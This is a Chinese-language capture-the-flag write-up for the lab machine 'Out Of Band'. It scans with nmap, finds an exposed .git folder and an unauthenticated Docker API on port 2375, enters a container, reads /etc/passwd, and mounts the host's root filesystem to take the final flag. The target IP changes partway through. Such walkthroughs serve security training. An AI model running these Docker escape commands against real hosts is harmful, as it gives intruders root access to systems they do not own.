THL – Out Of Band

一.主机发现和信息收集

由于靶机自动获取ip且成功显示，我们不需要额外进行主机发现，这里我们直接进行信息收集即可

╭─ /home/kali/Desktop ···································· with root@kali at 22:12:01 ─╮
╰─❯ nmap -sT -p- --min-rate=10000 192.168.84.145                                      ─╯
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-07 22:12 EDT
Nmap scan report for 192.168.84.145
Host is up (0.45s latency).
Not shown: 41172 closed tcp ports (conn-refused), 24360 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
2222/tcp open  EtherNetIP-1
2375/tcp open  docker
8000/tcp open  http   
MAC Address: 08:00:27:E9:40:39 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 90.19 seconds

初步扫描发现存在22，2222，2375 端口进行第二步探测：

╭─ /home/kali/Desktop ························ took 1m 30s with root@kali at 22:13:40 ─╮
╰─❯ nmap -sT -p22,2222,2375,8000 -sV -O  192.168.84.145                                    ─╯
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-07 22:14 EDT
WARNING: Service 192.168.84.145:2375 had already soft-matched http, but now soft-matched docker; ignoring second value
WARNING: Service 192.168.84.145:2375 had already soft-matched http, but now soft-matched docker; ignoring second value
Nmap scan report for 192.168.84.145
Host is up (0.0019s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.0p2 Debian 7 (protocol 2.0)
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
2375/tcp open  docker  Docker 26.1.5+dfsg1
8000/tcp open  http    Apache httpd 2.4.65 ((Debian))
MAC Address: 08:00:27:E9:40:39 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.00 seconds

接下来使用–script脚本进行基础漏洞扫描

╭─ /home/kali/Desktop ···································· with root@kali at 22:19:34 ─╮
╰─❯ nmap -sT --script=vuln  192.168.84.145                                            ─╯
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-07 22:19 EDT
Nmap scan report for 192.168.84.145
Host is up (0.037s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
2222/tcp open  EtherNetIP-1
8000/tcp open  http-alt
| http-git: 
|   192.168.84.145:8000/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: feat: updated login frontend 
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-enum: 
|_  /.git/HEAD: Git folder
MAC Address: 08:00:27:E9:40:39 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 32.50 seconds

发现了/.git目录有了.git我们就能获取整个web站点的源码

由于扫出了2375端口，先进行查询，再梳理攻击面：

通过查询我们得知是一个Docker的远程管理接口，因此我认为很可能存在未授权访问，在渗透测试中ssh的优先级通常排在末尾

攻击面梳理：2375->8000->22,2222

二.渗透测试

先简单测试一下docker的远程端口，通过查询得到语法：

1	docker -H tcp://<target>:2375 command

既然是渗透测试，那么我们第一步就是查看开放了哪些容器：

╭─ /home/kali/Desktop ··················································· with root@kali at 22:45:25 ─╮
╰─❯ docker -H tcp://192.168.84.86:2375 ps -a                                                         ─╯
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS                    PORTS                                                                          NAMES
bb9d2328c4fb   ctf-target-v2:latest   "/bin/sh -c 'mkdir -…"   6 months ago   Exited (0) 6 months ago                                                                                  pwn_fix
56fabc0fb990   ctf-target-v2:latest   "/bin/sh -c 'service…"   6 months ago   Up 3 minutes              0.0.0.0:2222->22/tcp, :::2222->22/tcp, 0.0.0.0:8000->80/tcp, :::8000->80/tcp   ctf-box

一共有2个容器 ID分别是：bb9d2328c4fb 和 56fabc0fb990，我们先尝试进入第一个容器：

╭─ /home/kali/Desktop ··················································· with root@kali at 22:45:31 ─╮
╰─❯ docker -H tcp://192.168.84.86:2375 exec -it bb9d2328c4fb /bin/bash                               ─╯
Error response from daemon: container bb9d2328c4fb16860cb2e82c52521355c907e62a6ae70816b4e1abe913f6f118 is not running

无法进入容器，提示容器没有起来看看第二个：

1
2
3

╭─ /home/kali/Desktop ··················································· with root@kali at 22:46:56 ─╮
╰─❯ docker -H tcp://192.168.84.86:2375 exec -it 56fabc0fb990 /bin/bash                               ─╯
root@56fabc0fb990:/#

成功进入，接下来查看/etc/passwd

╭─ /home/kali/Desktop ··················································· with root@kali at 22:46:56 ─╮
╰─❯ docker -H tcp://192.168.84.86:2375 exec -it 56fabc0fb990 /bin/bash                               ─╯
root@56fabc0fb990:/# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
dherediat:x:1000:1000::/home/dherediat:/bin/bash
root@56fabc0fb990:/#

去/home/dherediat 下查看

1
2
3

root@56fabc0fb990:/home/dherediat# ls
user.txt
root@56fabc0fb990:/home/dherediat# cat user.txt

第一个flag 被拿下

三.权限提升

在docker下，我们一般会使用将宿主机的根目录挂载到容器内进行读取，因此我们可以将 / 挂载至该容器内：

1
2
3

╭─ /home/kali/Desktop ·········································· took 15s with root@kali at 22:52:55 ─╮
╰─❯ docker -H tcp://192.168.84.86:2375 run -it -v /:/host_root ctf-target-v2:latest /bin/bash        ─╯
root@38cdd6484f21:/#

1
2
3

root@38cdd6484f21:/host_root/root# ls
final_flag.tar.gz
root@38cdd6484f21:/host_root/root#

尝试解压，发现无法解压使用file 对文件进行识别：

1
2
3

root@38cdd6484f21:/host_root/root# file final_flag.tar.gz
final_flag.tar.gz: ASCII text
root@38cdd6484f21:/host_root/root#

直接cat final_flag.tar.gz 获取最终的FLAG , 靶机到此结束

1	cat final_flag.tar.gz